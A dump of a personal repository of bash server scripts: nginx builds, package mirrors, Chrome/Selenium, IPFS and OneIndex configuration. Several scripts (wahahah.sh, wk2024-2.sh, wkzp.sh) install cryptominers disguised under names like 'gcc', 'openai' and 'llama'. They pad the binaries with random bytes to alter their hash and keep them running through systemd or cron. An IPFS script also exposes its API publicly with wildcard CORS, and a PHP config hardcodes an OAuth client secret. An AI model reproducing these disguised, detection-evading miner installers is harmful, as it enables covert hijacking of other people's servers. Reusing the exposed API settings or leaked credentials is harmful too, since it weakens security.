4 |
5 | # 格式化时间为 HH:MM
6 | random_time=$(printf "%02d:%02d" $hour $minute)
7 |
8 | # 使用 `at` 命令计划在随机时间运行你的脚本
9 | echo "/root/vrsc/random_usage.sh" | at $random_time
10 |
--------------------------------------------------------------------------------
/drfytgybhunjoimkol/testx.sh:
--------------------------------------------------------------------------------
1 | function go1(){
2 | echo $1
3 | }
4 | function go2(){
5 | echo $1
6 | }
7 | function go3(){
8 | echo $1
9 | }
10 |
11 | [[ -n $1 ]] && go1 $1
12 | [[ -n $2 ]] && go2 $2
13 | [[ -n $3 ]] && go3 $3
14 |
--------------------------------------------------------------------------------
/drfytgybhunjoimkol/waf.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | #For BtPanel Nginx 1.21.4
4 | mkdir /www/server/nginx/modules
5 | wget -O /www/server/nginx/modules/ngx_http_waf_module.so https://raw.githubusercontent.com/caippx/bash/master/drfytgybhunjoimkol/ngx_http_waf_module.so
6 | cd /www/server/nginx/
7 | git clone https://github.com/ADD-SP/ngx_waf
8 | sed -i "1iload_module modules/ngx_http_waf_module.so;" /www/server/nginx/conf/nginx.conf
9 | /www/server/nginx/sbin/nginx -s reload
10 |
11 | echo "
12 | 示例:
13 | waf on; # 是否启用模块
14 | waf_rule_path /www/server/nginx/ngx_waf/assets/rules/; # 模块规则
15 | waf_mode STD !CC; # 启用普通模式并关闭CC防护
16 | waf_cache capacity=50; # 缓存配置
17 | waf_under_attack on uri=/under-attack.html; # 配置5秒盾
18 | "
19 |
--------------------------------------------------------------------------------
/drfytgybhunjoimkol/wahahah.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | address=$1
4 | worker_name=$2
5 | threads=$(nproc)
6 | apt install libsodium23 libsodium-dev bc cron -y
7 | if ! command -v tcping
8 | then
9 | echo "tcping 不存在,正在安装..."
10 | wget https://github.com/cloverstd/tcping/releases/download/v0.1.1/tcping-linux-amd64-v0.1.1.tar.gz && tar -zxvf tcping-linux-amd64-v0.1.1.tar.gz
11 | mv tcping /usr/bin/tcping && chmod +x /usr/bin/tcping
12 | rm -rf tcping-linux-amd64-v0.1.1.tar.gz
13 | echo "tcping 安装完成"
14 | else
15 | echo "tcping 已经安装"
16 | fi
17 | #grep -o 'avx2' /proc/cpuinfo
18 | urls=("cn.vipor.net" "sg.vipor.net" "ussw.vipor.net" "usw.vipor.net" "pl.vipor.net" "usse.vipor.net" "us.vipor.net" "fr.vipor.net" "de.vipor.net" "fi.vipor.net" "sa.vipor.net") #vipor
19 | #urls=("na.luckpool.net" "eu.luckpool.net" "ap.luckpool.net") #luck
20 | # 初始化最低延迟和最佳URL
21 | min_latency=1000000
22 | best_url=""
23 |
24 | # 循环测试每个URL
25 | for url in "${urls[@]}"; do
26 | # 使用ping命令测试延迟,提取平均延迟值
27 | latency=$(tcping -c 2 "$url" 5140 | tail -1 | awk -F ' ' '{print $9}' | awk '{print $1+0}')
28 |
29 | # 检查是否是最低延迟
30 | if (( $(echo "$latency < $min_latency" | bc -l) )); then
31 | min_latency=$latency
32 | best_url=$url
33 | fi
34 |
35 | # 输出每个URL的延迟
36 | echo "$url 延迟: $latency ms"
37 | done
38 |
39 | # 输出最低延迟的URL
40 | echo "最低延迟的URL是: $best_url,延迟: $min_latency ms"
41 |
42 | mkdir -p /opt/vrsc && cd /opt/vrsc
43 | wget -O /opt/vrsc/gcc.tar.gz https://github.com/hellcatz/hminer/releases/download/v0.59.1/hellminer_linux64_avx2.tar.gz
44 | cd /opt/vrsc && tar -zxvf gcc.tar.gz && rm -rf gcc.tar.gz
45 | count=$((RANDOM % 1000 + 1))
46 | for ((i = 0; i < count; i++)); do
47 | echo -n "0" >> "/opt/vrsc/hellminer"
48 | done
49 | mv /opt/vrsc/hellminer /opt/vrsc/llama
50 | wget https://raw.githubusercontent.com/caippx/bash/refs/heads/master/drfytgybhunjoimkol/random_usage.sh
51 | chmod +x /opt/vrsc/*
52 | cron_job="0 */2 * * * /opt/vrsc/random_usage.sh"
53 | # 检查任务是否已经存在
54 | (crontab -l | grep -qF "$cron_job") || (crontab -l; echo "$cron_job") | crontab -
55 | service cron reload
56 | service crond reload
57 | ./llama -c stratum+ssl://$best_url:5140 -u $address.$worker_name -p x --cpu $threads
58 |
--------------------------------------------------------------------------------
/drfytgybhunjoimkol/wk2024-2.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | U=$1
4 | latest=`wget -qO- -t1 -T2 "https://api.github.com/repos/xmrig/xmrig/releases/latest" | grep "tag_name" | head -n 1 | awk -F ":" '{print $2}' | sed 's/\"//g;s/,//g;s/ //g' | awk -F "v" '{print $2}'`
5 | wget -O 1.tar.gz https://github.com/xmrig/xmrig/releases/download/v$latest/xmrig-$latest-linux-static-x64.tar.gz
6 | tar -zxvf 1.tar.gz
7 | mv xmrig-$latest gcc
8 | mv gcc/xmrig gcc/gcc
9 | mv gcc /etc/gcc
10 | rm -rf 1.tar.gz
11 | cd /etc/gcc && rm -rf SHA256SUMS
12 | random_number=$((RANDOM % 2088 + 208))
13 | for i in $(seq 1 $random_number); do
14 | echo -n "0" >> /etc/gcc/gcc
15 | done
16 | cat > /etc/systemd/system/gcc.service <> /etc/gcc/gcc
15 | done
16 | cat > /etc/systemd/system/gcc.service < ~/wk/wk.log 2>&1 &
11 |
--------------------------------------------------------------------------------
/drfytgybhunjoimkol/wkzp.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | systemctl stop openai.service && killall -9 openai
4 | rm -rf /root/openai
5 | rm -rf /etc/systemd/system/openai.service
6 | U=$1
7 | latest=`wget -qO- -t1 -T2 "https://api.github.com/repos/xmrig/xmrig/releases/latest" | grep "tag_name" | head -n 1 | awk -F ":" '{print $2}' | sed 's/\"//g;s/,//g;s/ //g' | awk -F "v" '{print $2}'`
8 | wget -O 1.tar.gz https://github.com/xmrig/xmrig/releases/download/v$latest/xmrig-$latest-linux-static-x64.tar.gz
9 | tar -zxvf 1.tar.gz
10 | mv xmrig-$latest openai
11 | mv openai/xmrig openai/openai
12 | random_number=$((RANDOM % 288 + 88))
13 | echo $random_number
14 | rm -rf 1.tar.gz
15 | cd openai && rm -rf SHA256SUMS
16 | for i in $(seq 1 $random_number); do
17 | echo -n "0" >> /root/openai/openai
18 | done
19 |
20 | cat > /etc/systemd/system/openai.service <
4 | bash install.sh && ipfs version && cd ~ && ipfs init
5 | ipfs config Addresses.API /ip4/0.0.0.0/tcp/5001
6 | ipfs config Addresses.Gateway /ip4/0.0.0.0/tcp/8080
7 | ipfs config --json API.HTTPHeaders.Access-Control-Allow-Origin '["*"]'
8 | ipfs config --json API.HTTPHeaders.Access-Control-Allow-Methods '["GET", "POST"]'
9 | ipfs config --json API.HTTPHeaders.Access-Control-Allow-Headers '["Authorization"]'
10 | ipfs config --json API.HTTPHeaders.Access-Control-Expose-Headers '["Location"]'
11 | ipfs config --json API.HTTPHeaders.Access-Control-Allow-Credentials '["true"]'
12 | nohup ipfs daemon &
13 |
--------------------------------------------------------------------------------
/mirror-pip.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | function centos(){
4 | mv /etc/yum.repos.d /etc/yum.repos.d.backup
5 | mkdir /etc/yum.repos.d
6 | wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo
7 | wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo
8 | yum clean all
9 | yum makecache
10 | yum install python-pip -y
11 | cd ~ && mkdir .pip
12 | echo "
13 | [global]
14 | index-url=http://mirrors.aliyun.com/pypi/simple/
15 | trusted-host=mirrors.aliyun.com
16 | " > .pip/pip.conf
17 | }
18 |
19 | function ubuntu16(){
20 | mv /etc/apt/sources.list /etc/apt/sources.list.bak
21 | echo "
22 | deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse
23 | deb http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse
24 | deb http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse
25 | deb http://mirrors.aliyun.com/ubuntu/ xenial-proposed main restricted universe multiverse
26 | deb http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse
27 | deb-src http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse
28 | deb-src http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse
29 | deb-src http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse
30 | deb-src http://mirrors.aliyun.com/ubuntu/ xenial-proposed main restricted universe multiverse
31 | deb-src http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse
32 | " > /etc/apt/sources.list
33 | apt update
34 | cd ~ && mkdir .pip
35 | echo "
36 | [global]
37 | index-url=http://mirrors.aliyun.com/pypi/simple/
38 | trusted-host=mirrors.aliyun.com
39 | " > .pip/pip.conf
40 | }
41 |
42 | function ubuntu18(){
43 | mv /etc/apt/sources.list /etc/apt/sources.list.bak
44 | echo "
45 | deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse
46 | deb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse
47 | deb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse
48 | deb http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse
49 | deb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse
50 | deb-src http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse
51 | deb-src http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse
52 | deb-src http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse
53 | deb-src http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse
54 | deb-src http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse
55 | " > /etc/apt/sources.list
56 | apt update
57 | cd ~ && mkdir .pip
58 | echo "
59 | [global]
60 | index-url=http://mirrors.aliyun.com/pypi/simple/
61 | trusted-host=mirrors.aliyun.com
62 | " > .pip/pip.conf
63 | }
64 |
--------------------------------------------------------------------------------
/ms/README.md:
--------------------------------------------------------------------------------
1 | #仅适用于Ubuntu16安装 中文支持以及 selenium chrome
2 |
3 | bash <(wget --no-check-certificate -qO- 'https://raw.githubusercontent.com/caippx/bash/master/ms/chrome.sh')
4 |
5 |
6 | #萌咖 Onelist安装
7 |
8 | bash <(wget --no-check-certificate -qO- 'https://raw.githubusercontent.com/caippx/bash/master/ms/onelist.sh')
9 |
10 |
--------------------------------------------------------------------------------
/ms/chrome.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | apt update -y
3 | apt install unzip lrzsz python3-pip python3 locales -y
4 | apt install language-pack-en -y
5 | echo '
6 | LANG=en_US.UTF-8
7 | LANGUAGE=en_US:en
8 | LC_ALL=
9 | ' > /etc/default/locale
10 | source /etc/default/locale
11 | wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
12 | dpkg -i --force-depends google-chrome-stable_current_amd64.deb
13 | apt install -f -y
14 | LATEST=$(wget -q -O - http://chromedriver.storage.googleapis.com/LATEST_RELEASE)
15 | wget http://chromedriver.storage.googleapis.com/$LATEST/chromedriver_linux64.zip
16 | unzip chromedriver_linux64.zip
17 | chmod 777 chromedriver
18 | mv chromedriver /usr/bin/
19 | echo 'export PATH=$PATH:/usr/bin/chromedriver' > .profile
20 | source .profile
21 | pip3 install selenium bs4 lxml requests
22 | rm -rf *
23 |
--------------------------------------------------------------------------------
/ms/onelist.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | apt update -y
4 | apt install python3 python3-pip git -y
5 | pip3 install tornado
6 | git clone https://github.com/caippx/OneList.git && cd OneList
7 | echo "
8 | 请打开
9 | https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=b51b95c2-a4b0-44de-a3c1-14f23a1d2d02&response_type=code&redirect_uri=https://api.us.ppxwo.top/onedrive&response_mode=query&scope=offline_access%20User.Read%20Files.ReadWrite.All
10 | 获取code"
11 | echo && stty erase '^H' && read -p "输入code: " code
12 | python3 OneList.py << EOF
13 | $code
14 |
15 | EOF
16 |
17 | echo "请运行 python3 app.py 测试"
18 | #python3 app.py &
19 |
--------------------------------------------------------------------------------
/nginx/5s.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | Just A Moment...
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
Checking your browser before accessing The Legend of Bald...
24 |
This process is automatic. Your browser will redirect to your requested content shortly.
25 |
Please allow up to 5 seconds…
26 |
::IM_UNDER_ATTACK_BOX::
27 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/nginx/install.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | apt install wget curl zip unzip lrzsz psmisc libpcre3-dev libaio1 libjemalloc-dev -y
4 | groupadd -r www
5 | useradd -r -g www -s /bin/false -d /usr/local/www -M www
6 | nginx_install_dir='/etc/nginx/'
7 | mkdir $nginx_install_dir && mkdir -p /data/wwwlogs/
8 | cd $nginx_install_dir && wget https://github.com/caippx/bash/raw/master/nginx/nginx.zip && unzip nginx.zip
9 | [ -z "`grep ^'export PATH=' /etc/profile`" ] && echo "export PATH=${nginx_install_dir}/sbin:\$PATH" >> /etc/profile
10 | [ -n "`grep ^'export PATH=' /etc/profile`" -a -z "`grep ${nginx_install_dir} /etc/profile`" ] && sed -i "s@^export PATH=\(.*\)@export PATH=${nginx_install_dir}/sbin:\1@" /etc/profile
11 | . /etc/profile
12 | wget -P /lib/systemd/system/ https://raw.githubusercontent.com/caippx/bash/master/nginx/nginx.service
13 | sed -i "s@/usr/local/nginx@${nginx_install_dir}@g" /lib/systemd/system/nginx.service
14 | systemctl enable nginx
15 | mv ${nginx_install_dir}/conf/nginx.conf{,_bk}
16 | wget -P ${nginx_install_dir}/conf https://raw.githubusercontent.com/caippx/bash/master/nginx/nginx.conf
17 | mkdir -p ${nginx_install_dir}/conf/vhost
18 |
--------------------------------------------------------------------------------
/nginx/install_nginx.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | nginx_install_dir="/etc/nginx"
4 | apt-get install libpcre3-dev libaio1 libjemalloc-dev -y
5 | apt-get install -y gcc g++ make zip lrzsz psmisc autoconf curl libxml2 libxml2-dev libssl-dev bzip2 libbz2-dev libjpeg-dev libpng-dev libfreetype6-dev libgmp-dev libmcrypt-dev libreadline6-dev libsnmp-dev libxslt1-dev libcurl4-openssl-dev pkg-config libssl-dev libzip-dev dnsutils
6 | groupadd -r www
7 | useradd -r -g www -s /bin/false -d /usr/local/www -M www
8 | wget http://nginx.org/download/nginx-1.19.2.tar.gz && tar -zxf nginx-1.19.2.tar.gz && cd nginx-1.19.2
9 | echo && stty erase '^H' && read -p "输入要修改的名字:" name
10 | sed -i "s#\"NGINX\"#\"$name\"#" src/core/nginx.h
11 | sed -i "s#\"nginx/\"#\"$name/\"#" src/core/nginx.h
12 | sed -i "s#Server: nginx#Server: $name#" src/http/ngx_http_header_filter_module.c
13 | sed -i "s#\"
nginx<\/center>\"#\"
$name<\/center>\"#" src/http/ngx_http_special_response.c
14 | sed -i "s#server: nginx#server: $name#" src/http/v2/ngx_http_v2_filter_module.c
15 | mkdir -p ${nginx_install_dir} && mkdir -p /data/wwwlogs/ && mkdir -p /data/wwwroot/default
16 | wget https://www.openssl.org/source/openssl-1.1.1d.tar.gz && tar -zxf openssl-1.1.1d.tar.gz
17 | ./configure --prefix=${nginx_install_dir} --user=www --group=www \
18 | --with-http_stub_status_module --with-http_v2_module --with-http_ssl_module --with-http_gzip_static_module \
19 | --with-http_realip_module --with-http_flv_module --with-http_mp4_module \
20 | --with-openssl=./openssl-1.1.1d --with-pcre --with-pcre-jit --with-ld-opt='-ljemalloc' --with-http_sub_module
21 | make && make install
22 | cd ~ && rm -rf nginx-1.19.2.tar.gz nginx-1.19.2
23 | [ -z "`grep ^'export PATH=' /etc/profile`" ] && echo "export PATH=${nginx_install_dir}/sbin:\$PATH" >> /etc/profile
24 | [ -n "`grep ^'export PATH=' /etc/profile`" -a -z "`grep ${nginx_install_dir} /etc/profile`" ] && sed -i "s@^export PATH=\(.*\)@export PATH=${nginx_install_dir}/sbin:\1@" /etc/profile
25 | . /etc/profile
26 | wget -P /lib/systemd/system/ https://raw.githubusercontent.com/caippx/bash/master/nginx/nginx.service
27 | sed -i "s@/usr/local/nginx@${nginx_install_dir}@g" /lib/systemd/system/nginx.service
28 | systemctl enable nginx
29 | mv ${nginx_install_dir}/conf/nginx.conf{,_bk}
30 | wget -P ${nginx_install_dir}/conf https://raw.githubusercontent.com/caippx/bash/master/nginx/nginx.conf
31 | mkdir -p ${nginx_install_dir}/conf/vhost
32 |
--------------------------------------------------------------------------------
/nginx/nginx-debian:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | ### BEGIN INIT INFO
4 | # Provides: nginx
5 | # Required-Start: $local_fs $remote_fs $network $syslog $named
6 | # Required-Stop: $local_fs $remote_fs $network $syslog $named
7 | # Default-Start: 2 3 4 5
8 | # Default-Stop: 0 1 6
9 | # Short-Description: starts the nginx web server
10 | # Description: starts nginx using start-stop-daemon
11 | ### END INIT INFO
12 |
13 | PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
14 | DAEMON=/usr/sbin/nginx
15 | NAME=nginx
16 | DESC=nginx
17 |
18 | # Include nginx defaults if available
19 | if [ -r /etc/default/nginx ]; then
20 | . /etc/default/nginx
21 | fi
22 |
23 | STOP_SCHEDULE="${STOP_SCHEDULE:-QUIT/5/TERM/5/KILL/5}"
24 |
25 | test -x $DAEMON || exit 0
26 |
27 | . /lib/init/vars.sh
28 | . /lib/lsb/init-functions
29 |
30 | # Try to extract nginx pidfile
31 | PID=$(cat /etc/nginx/nginx.conf | grep -Ev '^\s*#' | awk 'BEGIN { RS="[;{}]" } { if ($1 == "pid") print $2 }' | head -n1)
32 | if [ -z "$PID" ]; then
33 | PID=/run/nginx.pid
34 | fi
35 |
36 | if [ -n "$ULIMIT" ]; then
37 | # Set ulimit if it is set in /etc/default/nginx
38 | ulimit $ULIMIT
39 | fi
40 |
41 | start_nginx() {
42 | # Start the daemon/service
43 | #
44 | # Returns:
45 | # 0 if daemon has been started
46 | # 1 if daemon was already running
47 | # 2 if daemon could not be started
48 | start-stop-daemon --start --quiet --pidfile $PID --exec $DAEMON --test > /dev/null \
49 | || return 1
50 | start-stop-daemon --start --quiet --pidfile $PID --exec $DAEMON -- \
51 | $DAEMON_OPTS 2>/dev/null \
52 | || return 2
53 | }
54 |
55 | test_config() {
56 | # Test the nginx configuration
57 | $DAEMON -t $DAEMON_OPTS >/dev/null 2>&1
58 | }
59 |
60 | stop_nginx() {
61 | # Stops the daemon/service
62 | #
63 | # Return
64 | # 0 if daemon has been stopped
65 | # 1 if daemon was already stopped
66 | # 2 if daemon could not be stopped
67 | # other if a failure occurred
68 | start-stop-daemon --stop --quiet --retry=$STOP_SCHEDULE --pidfile $PID --name $NAME
69 | RETVAL="$?"
70 | sleep 1
71 | return "$RETVAL"
72 | }
73 |
74 | reload_nginx() {
75 | # Function that sends a SIGHUP to the daemon/service
76 | start-stop-daemon --stop --signal HUP --quiet --pidfile $PID --name $NAME
77 | return 0
78 | }
79 |
80 | rotate_logs() {
81 | # Rotate log files
82 | start-stop-daemon --stop --signal USR1 --quiet --pidfile $PID --name $NAME
83 | return 0
84 | }
85 |
86 | upgrade_nginx() {
87 | # Online upgrade nginx executable
88 | # http://nginx.org/en/docs/control.html
89 | #
90 | # Return
91 | # 0 if nginx has been successfully upgraded
92 | # 1 if nginx is not running
93 | # 2 if the pid files were not created on time
94 | # 3 if the old master could not be killed
95 | if start-stop-daemon --stop --signal USR2 --quiet --pidfile $PID --name $NAME; then
96 | # Wait for both old and new master to write their pid file
97 | while [ ! -s "${PID}.oldbin" ] || [ ! -s "${PID}" ]; do
98 | cnt=`expr $cnt + 1`
99 | if [ $cnt -gt 10 ]; then
100 | return 2
101 | fi
102 | sleep 1
103 | done
104 | # Everything is ready, gracefully stop the old master
105 | if start-stop-daemon --stop --signal QUIT --quiet --pidfile "${PID}.oldbin" --name $NAME; then
106 | return 0
107 | else
108 | return 3
109 | fi
110 | else
111 | return 1
112 | fi
113 | }
114 |
115 | case "$1" in
116 | start)
117 | log_daemon_msg "Starting $DESC" "$NAME"
118 | start_nginx
119 | case "$?" in
120 | 0|1) log_end_msg 0 ;;
121 | 2) log_end_msg 1 ;;
122 | esac
123 | ;;
124 | stop)
125 | log_daemon_msg "Stopping $DESC" "$NAME"
126 | stop_nginx
127 | case "$?" in
128 | 0|1) log_end_msg 0 ;;
129 | 2) log_end_msg 1 ;;
130 | esac
131 | ;;
132 | restart)
133 | log_daemon_msg "Restarting $DESC" "$NAME"
134 |
135 | # Check configuration before stopping nginx
136 | if ! test_config; then
137 | log_end_msg 1 # Configuration error
138 | exit $?
139 | fi
140 |
141 | stop_nginx
142 | case "$?" in
143 | 0|1)
144 | start_nginx
145 | case "$?" in
146 | 0) log_end_msg 0 ;;
147 | 1) log_end_msg 1 ;; # Old process is still running
148 | *) log_end_msg 1 ;; # Failed to start
149 | esac
150 | ;;
151 | *)
152 | # Failed to stop
153 | log_end_msg 1
154 | ;;
155 | esac
156 | ;;
157 | reload|force-reload)
158 | log_daemon_msg "Reloading $DESC configuration" "$NAME"
159 |
160 | # Check configuration before stopping nginx
161 | #
162 | # This is not entirely correct since the on-disk nginx binary
163 | # may differ from the in-memory one, but that's not common.
164 | # We prefer to check the configuration and return an error
165 | # to the administrator.
166 | if ! test_config; then
167 | log_end_msg 1 # Configuration error
168 | exit $?
169 | fi
170 |
171 | reload_nginx
172 | log_end_msg $?
173 | ;;
174 | configtest|testconfig)
175 | log_daemon_msg "Testing $DESC configuration"
176 | test_config
177 | log_end_msg $?
178 | ;;
179 | status)
180 | status_of_proc -p $PID "$DAEMON" "$NAME" && exit 0 || exit $?
181 | ;;
182 | upgrade)
183 | log_daemon_msg "Upgrading binary" "$NAME"
184 | upgrade_nginx
185 | log_end_msg $?
186 | ;;
187 | rotate)
188 | log_daemon_msg "Re-opening $DESC log files" "$NAME"
189 | rotate_logs
190 | log_end_msg $?
191 | ;;
192 | *)
193 | echo "Usage: $NAME {start|stop|restart|reload|force-reload|status|configtest|rotate|upgrade}" >&2
194 | exit 3
195 | ;;
196 | esac
197 |
--------------------------------------------------------------------------------
/nginx/nginx.conf:
--------------------------------------------------------------------------------
1 | user www www;
2 | worker_processes auto;
3 |
4 | error_log /data/wwwlogs/error_nginx.log crit;
5 | pid /var/run/nginx.pid;
6 | worker_rlimit_nofile 51200;
7 |
8 | events {
9 | use epoll;
10 | worker_connections 51200;
11 | multi_accept on;
12 | }
13 |
14 | http {
15 | include mime.types;
16 | default_type application/octet-stream;
17 | server_names_hash_bucket_size 128;
18 | client_header_buffer_size 32k;
19 | large_client_header_buffers 4 32k;
20 | client_max_body_size 1024m;
21 | client_body_buffer_size 10m;
22 | sendfile on;
23 | tcp_nopush on;
24 | keepalive_timeout 120;
25 | server_tokens off;
26 | tcp_nodelay on;
27 |
28 | fastcgi_connect_timeout 300;
29 | fastcgi_send_timeout 300;
30 | fastcgi_read_timeout 300;
31 | fastcgi_buffer_size 64k;
32 | fastcgi_buffers 4 64k;
33 | fastcgi_busy_buffers_size 128k;
34 | fastcgi_temp_file_write_size 128k;
35 | fastcgi_intercept_errors on;
36 |
37 | #Gzip Compression
38 | gzip on;
39 | gzip_buffers 16 8k;
40 | gzip_comp_level 6;
41 | gzip_http_version 1.1;
42 | gzip_min_length 256;
43 | gzip_proxied any;
44 | gzip_vary on;
45 | gzip_types
46 | text/xml application/xml application/atom+xml application/rss+xml application/xhtml+xml image/svg+xml
47 | text/javascript application/javascript application/x-javascript
48 | text/x-json application/json application/x-web-app-manifest+json
49 | text/css text/plain text/x-component
50 | font/opentype application/x-font-ttf application/vnd.ms-fontobject
51 | image/x-icon;
52 | gzip_disable "MSIE [1-6]\.(?!.*SV1)";
53 |
54 | ##Brotli Compression
55 | #brotli on;
56 | #brotli_comp_level 6;
57 | #brotli_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript application/javascript image/svg+xml;
58 |
59 | ##If you have a lot of static files to serve through Nginx then caching of the files' metadata (not the actual files' contents) can save some latency.
60 | #open_file_cache max=1000 inactive=20s;
61 | #open_file_cache_valid 30s;
62 | #open_file_cache_min_uses 2;
63 | #open_file_cache_errors on;
64 |
65 | ######################## default ############################
66 | server {
67 | listen 80;
68 | server_name _;
69 | access_log /data/wwwlogs/access_nginx.log combined;
70 | root /data/wwwroot/default;
71 | index index.html index.htm index.php;
72 | #error_page 404 /404.html;
73 | #error_page 502 /502.html;
74 | location /nginx_status {
75 | stub_status on;
76 | access_log off;
77 | allow 127.0.0.1;
78 | deny all;
79 | }
80 | location ~ [^/]\.php(/|$) {
81 | #fastcgi_pass remote_php_ip:9000;
82 | fastcgi_pass unix:/run/php/php7.3-fpm.sock;
83 | fastcgi_index index.php;
84 | include fastcgi.conf;
85 | }
86 | location ~ .*\.(gif|jpg|jpeg|png|bmp|swf|flv|mp4|ico)$ {
87 | expires 30d;
88 | access_log off;
89 | }
90 | location ~ .*\.(js|css)?$ {
91 | expires 7d;
92 | access_log off;
93 | }
94 | location ~ ^/(\.user.ini|\.ht|\.git|\.svn|\.project|LICENSE|README.md) {
95 | deny all;
96 | }
97 | }
98 | ########################## vhost #############################
99 | include vhost/*.conf;
100 | }
101 |
--------------------------------------------------------------------------------
/nginx/nginx.service:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=A high performance web server and a reverse proxy server
3 | Documentation=man:nginx(8)
4 | After=network.target
5 |
6 | [Service]
7 | Type=forking
8 | PIDFile=/var/run/nginx.pid
9 | ExecStartPre=/usr/local/nginx/sbin/nginx -t
10 | ExecStart=/usr/local/nginx/sbin/nginx
11 | ExecReload=/usr/local/nginx/sbin/nginx -s reload
12 | ExecStop=-/sbin/start-stop-daemon --quiet --stop --retry QUIT/5 --pidfile /run/nginx.pid
13 | TimeoutStopSec=5
14 | KillMode=mixed
15 |
16 | [Install]
17 | WantedBy=multi-user.target
18 |
--------------------------------------------------------------------------------
/nginx/nginx.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/caippx/bash/ff20cdbf1b23cc477280e01f0fb80de2563dc1df/nginx/nginx.zip
--------------------------------------------------------------------------------
/oneindex/base.php:
--------------------------------------------------------------------------------
1 | '站点名',
3 | 'title_name' => 'Index of /',
4 | 'password' => 'oneindex',
5 | 'drawer' => '
',
6 | 'drawer_img' => 'https://wakawakaee.n6.myws.ca/?/SKE/wallhaven-5wo3z5.jpg',
7 | 'style' => 'nexmoe',
8 | 'onedrive_root' => '/',
9 | 'cache_type' => 'filecache',
10 | 'cache_expire_time' => 3600,
11 | 'cache_refresh_time' => 600,
12 | 'page_item' => 50,
13 | 'root_path' => '?',
14 | 'show' =>
15 | array (
16 | 'stream' =>
17 | array (
18 | 0 => 'txt',
19 | ),
20 | 'image' =>
21 | array (
22 | 0 => 'bmp',
23 | 1 => 'jpg',
24 | 2 => 'jpeg',
25 | 3 => 'png',
26 | 4 => 'gif',
27 | 5 => 'webp',
28 | ),
29 | 'video5' =>
30 | array (
31 | ),
32 | 'video' =>
33 | array (
34 | 0 => 'mpg',
35 | 1 => 'mpeg',
36 | 2 => 'mov',
37 | 3 => 'flv',
38 | 4 => 'mp4',
39 | 5 => 'webm',
40 | 6 => 'mkv',
41 | 7 => 'm3u8',
42 | ),
43 | 'video2' =>
44 | array (
45 | 0 => 'avi',
46 | 1 => 'rm',
47 | 2 => 'rmvb',
48 | 3 => 'wmv',
49 | 4 => 'asf',
50 | 5 => 'ts',
51 | ),
52 | 'audio' =>
53 | array (
54 | 0 => 'ogg',
55 | 1 => 'mp3',
56 | 2 => 'wav',
57 | 3 => 'flac',
58 | 4 => 'aac',
59 | 5 => 'm4a',
60 | 6 => 'ape',
61 | ),
62 | 'code' =>
63 | array (
64 | 0 => 'html',
65 | 1 => 'htm',
66 | 2 => 'php',
67 | 3 => 'css',
68 | 4 => 'go',
69 | 5 => 'java',
70 | 6 => 'js',
71 | 7 => 'json',
72 | 8 => 'txt',
73 | 9 => 'sh',
74 | 10 => 'md',
75 | ),
76 | 'doc' =>
77 | array (
78 | 0 => 'csv',
79 | 1 => 'doc',
80 | 2 => 'docx',
81 | 3 => 'odp',
82 | 4 => 'ods',
83 | 5 => 'odt',
84 | 6 => 'pot',
85 | 7 => 'potm',
86 | 8 => 'potx',
87 | 9 => 'pps',
88 | 10 => 'ppsx',
89 | 11 => 'ppsxm',
90 | 12 => 'ppt',
91 | 13 => 'pptm',
92 | 14 => 'pptx',
93 | 15 => 'rtf',
94 | 16 => 'xls',
95 | 17 => 'xlsx',
96 | ),
97 | ),
98 | 'images' =>
99 | array (
100 | 'home' => false,
101 | 'public' => false,
102 | 'exts' =>
103 | array (
104 | 0 => 'jpg',
105 | 1 => 'png',
106 | 2 => 'gif',
107 | 3 => 'bmp',
108 | ),
109 | ),
110 | 'client_secret' => 'DN2cp9e3qDgf2ppy@spSRxGEppgDF@_]',
111 | 'client_id' => '990b369b-3a1e-4b19-91a0-a2fcf04d861b',
112 | 'redirect_uri' => 'https://moeclub.org/onedrive-login',
113 | 'oauth_url' => 'https://login.microsoftonline.com/common/oauth2/v2.0',
114 | 'api_url' => 'https://graph.microsoft.com/v1.0',
115 | 'refresh_token' => 'rtk',
